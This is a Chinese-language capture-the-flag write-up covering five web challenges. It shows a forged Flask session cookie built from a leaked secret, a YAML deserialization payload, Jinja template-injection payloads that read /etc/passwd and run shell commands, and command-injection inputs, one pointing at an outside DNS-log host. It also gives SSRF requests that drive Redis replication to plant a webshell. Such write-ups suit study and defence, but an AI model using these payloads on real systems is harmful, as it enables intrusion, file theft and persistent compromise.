没有和学长一起打,干不动,太菜了。
0x01 profile system
题目源码:
1 | from flask import Flask, render_template, request, flash, redirect, send_file,session |
/uploads路由存在路径穿越可以读取文件,
读取文件后审计源码,可以得到python
的session
的secret
为Th1s_is_A_Sup333er_s1cret_k1yyyyy
,有上传yaml、yml
文件的功能,在/view
路由,会将客户端ip的md5值拼接到upload,然后再拼接session[filename]
,之后检查session['priviledge'] 是否为'elite'
和拼接得到的文件名对应的文件是否存在;如果通过检查,则读取文件对应的内容,然后对文件内容进行正则的判断,
1 | with open(realpath,'rb') as f: |
上面正则对应的匹配模式如上图,禁止了
1 | . ^ _ ` ~ |
这些字符,如果能够通过正则的检测,就会执行yaml.load(data)`,这里有一个yaml的反序列化,uiuctf 2020考点和这道题一样,本地生成yaml文件,
1 | !!python/object/new:type |
转十六进制的脚本
1 | str = "__import__('os').system('whoami > ./uploads/4d9e819e7542b34b805262a9a0efad87/321')" |
本地测试在win10写文件写出来的换行是
\r\n
,linux写出来的文件换行是\n
,开始用win10写的文件都包含\r
,不能通过正则检查,之后用linux就可以了。%0d——\r %0a——\n
为了能够执行到反序列化的点,生成session
1 | python3 flask_session_cookie_manager3.py encode -s "Th1s_is_A_Sup333er_s1cret_k1yyyyy" -t "{'priviledge':'elite','filename':'aa.yaml'}" |
之后下载/uploads/4d9e819e7542b34b805262a9a0efad87/321
就可以得到结果。
0x02 flaskbot
1 | from flask import Flask,render_template,request,make_response,redirect,url_for,render_template_string |
https://www.jianshu.com/p/d9caa4ab46e1
flask开启debug,可以进入console模式,但是需要pin码,会把pin码写进/var/log/app.log
,可以通过读这个文件来获取pin码,因为是python2
,直接用payload
- 读文件
1 | base64.b64encode("{{().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}") |
- 执行命令
1 | base64.b64encode('''{{().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['e'+'val']("__imp"+"ort__('o'+'s').po"+"pen('ls').read()")}}''') |
0x03 Command
这题学弟做的,下面是参考了网上的wp
1 | url=|find%09/%09-ctime%09-20 |
1 | url=a.iz99lj.ceye.io%0aecho%09ZmxhZw==|base64%09-d|xargs%09- |
0x04 doyouknowssrf
GACTF原题,用wp的方法老是失败,可以主从同步复制exp.so
,但是system.rev
执行不了,之后试了一下,config set dir /var/www/html 然后利用,主从同步将一句话木马同步到靶机,(感觉这题不用主从复制,直接写马就可以)然后,访问木马,得到flag。
1 | import os |
设置/var/www/html目录
1 | url=http://root:root@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%250D%250Aauth%2520123456%250d%250aconfig%2520set%2520dir%2520%252fvar%252fwww%252fhtml%250d%250a1 |
主从复制🐎
1 | url=http://root:root@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%250D%250Aauth%2520123456%250d%250aconfig%2520set%2520dbfilename%2520a.php%250d%250aslaveof%2520ip%25206680%250d%250aquit%250a1 |
0x05 easyzzzz
访问/更新日志.txt
,可以知道是1.8.0版本,用这个可以注出密码,md5解密后登后台,后台有一个经典的修改模板导致的rce,
)直接用国赛的一道题的payload